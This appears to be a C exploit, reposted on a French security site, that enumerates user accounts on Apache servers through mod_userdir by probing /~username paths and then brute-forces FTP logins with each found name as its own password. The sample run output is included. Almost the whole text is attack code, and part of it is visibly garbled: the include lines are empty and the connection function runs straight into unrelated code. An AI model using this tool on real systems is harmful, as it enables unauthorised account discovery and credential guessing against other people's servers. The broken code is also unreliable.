Apache 1.3.*-2.0.48 mod_userdir remote users disclosure Exploit

    
 
/* m00-apache-w00t.c
                              *
                              * Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
                              * ~ Proof-of-Concept edition ~
                              *
                              * This tool scans remote hosts with httpd (apache) and disclosure information
                              * about existens users accounts via wrong default configuration of mod_userdir
                              * (default apache module). Then attempts to log on ftp with found logins.
                              *
                              * Works only against Linux and *BSD boxes.
                              * Info: http://archives.neohapsis.com/archives/vuln-dev/2000-q3/0065.html
                              * This is old, but curentlly still actual problem, because 99% of all admins use
                              * default configuration of apache http server.
                              *
                              * This tool scans remote hosts with httpd (apache) and disclosure information 
                              * about existens users accounts via wrong default configuration of mod_userdir 
                              * (default apache module). Then attempts to log on ftp with found logins.
                              * 
                              * -d4rkgr3y
                              *
                              * sh-2.05b$ ./m00-apache-w00t -t localhost -u test_userlist.txt -b
                              * 
                              * [*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.
                              * 
                              * [*] Checking http server [localhost:80]...
                              * Apache => yes
                              * Vulnerable => yes
                              * OS => Mandrake Linux
                              * [*] Searching for system accounts...
                              * sergey =>
                              * m00 =>
                              * satan => yes
                              * evil =>
                              * poison =>
                              * god =>
                              * guest =>
                              * dima =>
                              * ftp => yes
                              * vasya =>
                              * rst =>
                              * vasi =>
                              * [*] Searching complete.
                              * 12 users checked
                              * 2 users found
                              * [*] Attempting to log on ftp with login:login...
                              * satan:satan => no
                              * ftp:ftp => no
                              * [*] Complete.
                              * 0 ftp accounts found
                              * 
                              */

                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 

                              #define DEFAULT_HTTP_PORT 80
                              #define DEFAULT_FTP_PORT 21

                              int m00() {
                              printf("\n[*] Apache 1.3.*-2.0.48 remote users disclosure exploit by m00 Security.\n\n");
                              printf("\n[*] Downloaded on K-OTIK.com\n\n");
                              }

                              int verbose(char *d) {
                              printf("+-----------------------o0o-----------------------+\n");
                              printf("\n%s",d);
                              printf("+-----------------------o0o-----------------------+\n");
                              }

                              int usage(char *xplname) {
                              printf("[~] usage: %s -t  -u  [options]\n\n",xplname);
                              printf("Options:\n");
                              printf("-p  - http port [80]\n");
                              printf("-l  - log all attempts to file\n");
                              printf("-b - try to log on ftp with guessed logins (public version only login:login)\n");
                              printf("-h - usage\n");
                              printf("\n");
                              exit(0);
                              }

                              int attempt(char *argv);

                              int conn(char *ip, unsigned short port) {
                              struct hostent *hs;
                              struct sockaddr_in sock;
                              int sockfd;
                              bzero(&sock, sizeof(sock));
                              sock.sin_family = AF_INET;
                              sock.sin_port = htons(port);
                              if ((sock.sin_addr.s_addr=inet_addr(ip))==-1) {
                              if ((hs=gethostbyname(ip))==NULL) {
                              perror("[-] Error"); exit(0);
                              }
                              sock.sin_family = hs->h_addrtype;
                              memcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);
                              }
                              if((sockfd = socket(AF_INET, SOCK_STREAM, 0))  ");
                              if(!strstr(answer,signature)) { printf(" no\n Vulnerable => "); } else printf(" yes\n Vulnerable => ");
                              if(!strstr(answer,c403)) { printf("no\n[-] Exiting...\n"); exit(0); } else printf("yes\n");
                              close(hand);

                              hand = conn(host,port);
                              sprintf(request,"HEAD /~toor HTTP/1.1\r\nHost: %s\r\n%s",host,http);
                              write(hand,request,strlen(request));
                              recv(hand,answer,0x3e8,0);

                              if(v) verbose(answer);

                              printf(" OS => ");
                              if(strstr(answer,c403)) { printf("FreeBSD"); } else {
                              if(strstr(answer,"Unix")) printf("Unix unknow");
                              if(strstr(answer,"Debian")) printf("Debian Linux");
                              if(strstr(answer,"RedHat")) printf("RedHat Linux");
                              if(strstr(answer,"mdk")) printf("Mandrake Linux");
                              }
                              close(hand);

                              printf("\n[*] Searching for system accounts...");

                              if(lfile) {
                              sprintf(logd,"Host: %s\nFound accounts:\n",host);
                              fprintf(logfile,logd);
                              }

                              x=0;
                              f=0;
                              while (1) {
                              fgets(buf, 32, userlist);
                              if (buf[0] == '\n' || strstr(check,buf)) break;
                              strcpy(check,buf);
                              buf[strlen(buf)-1] = '\0';
                              x++;

                              printf("\n %s \t=> ",buf);


                              hand = conn(host,port);
                              sprintf(request,"HEAD /~%s HTTP/1.1\r\nHost: %s\r\n%s",buf,host,http);

                              write(hand,request,strlen(request));
                              recv(hand,answer,0x3e8,0);

                              if(v) verbose(answer);

                              if(!strstr(answer,c404)) {
                              printf(" yes",buf);
                              if(lfile) {
                              sprintf(logd,"%s\n",buf);
                              fprintf(logfile,logd);
                              }
                              logz[f] = (char *)malloc(strlen(buf));
                              memcpy(logz[f],buf,strlen(buf));
                              memset(logz[f]+strlen(buf),0x0,1);
                              f++;
                              }
                              close(hand);
                              }
                              fclose(userlist);
                              printf("\n[*] Searching complete.\n");
                              printf(" %i users checked\n %i users found\n",x,f);
                              if(brute && f>0) {
                              x=0;
                              i=0;
                              if(lfile) {
                              sprintf(logd,"FTP:\n");
                              fprintf(logfile,logd);
                              }
                              printf("[*] Attempting to log on ftp with login:login...\n");
                              while(x!=f) {
                              printf(" %s:%s \t=>",logz[x],logz[x]);
                              hand = conn(host,fport);

                              sprintf(request,"USER %s\n",logz[x]);
                              write(hand,request,strlen(request));
                              recv(hand,answer,0x3e8,0);

                              sprintf(request,"PASS %s\n",logz[x]);
                              write(hand,request,strlen(request));
                              recv(hand,answer,0x3e8,0);
                              if(strstr(answer,"230")) {
                              printf(" yes\n");
                              if(lfile) {
                              sprintf(logd,"%s:%s\n",logz[x],logz[x]);
                              fprintf(logfile,logd);
                              }
                              i++;
                              } else printf(" no\n");
                              close(hand);
                              x++;
                              }
                              printf("[*] Complete.\n");
                              printf(" %i ftp accounts found\n",i);
                              }
                              if(lfile) {
                              fprintf(logfile,"\n");
                              fclose(logfile);
                              }

                              }
                              /* m00 */
                              
                              

 Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits